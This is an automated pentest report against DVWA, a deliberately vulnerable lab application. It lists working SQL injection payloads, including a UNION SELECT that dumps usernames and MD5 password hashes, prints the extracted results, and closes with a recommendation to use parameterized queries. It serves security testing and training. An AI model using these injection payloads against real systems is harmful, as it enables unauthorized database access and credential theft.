

Automated Web Pentest Report

Scan Date: 2025-06-12T06:29:42.829494Z

Target: DVWA

Executive Summary

Total vulnerabilities tested: 4

Successful exploits: 3

Risk Level: Critical

Test Cases Table

#	Payload	Status	Severity
1	' OR '1'='1	Success	Critical
2	' OR 1=1 #	Success	Critical
3	' union select user, password from users#	Success	Critical
4	addadasddad	Fail	Low

Evidence Details

[1] Payload: ' OR '1'='1

ID: ' OR '1'='1

First name: admin

Surname: admin

ID: ' OR '1'='1

First name: Gordon

Surname: Brown

ID: ' OR '1'='1

First name: Hack

Surname: Me

ID: ' OR '1'='1

First name: Pablo

Surname: Picasso

ID: ' OR '1'='1

First name: Bob

Surname: Smith

[2] Payload: ' OR 1=1 #

ID: ' OR 1=1 #

First name: admin

Surname: admin

ID: ' OR 1=1 #

First name: Gordon

Surname: Brown

ID: ' OR 1=1 #

First name: Hack

Surname: Me

ID: ' OR 1=1 #

First name: Pablo

Surname: Picasso

ID: ' OR 1=1 #

First name: Bob

Surname: Smith

[3] Payload: ' union select user, password from users#

ID: ' union select user, password from users#

First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' union select user, password from users#

First name: gordonb

Surname: e99a18c428cb38d5f260853678922e03

ID: ' union select user, password from users#

First name: 1337

Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' union select user, password from users#

First name: pablo

Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' union select user, password from users#

First name: smithy

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

[4] Payload: addadasddad

User ID:

Extracted Users

#	Username	Password/Hash
1	admin	5f4dcc3b5aa765d61d8327deb882cf99
2	gordonb	e99a18c428cb38d5f260853678922e03
3	1337	8d3533d75ae2c3966d7e0d4fcc69216b
4	pablo	0d107d09f5bbe40cade3de5c71e9e9b7
5	smithy	5f4dcc3b5aa765d61d8327deb882cf99

Recommendations

- Use parameterized queries (prepared statements) for all database access. Always validate and sanitize user input.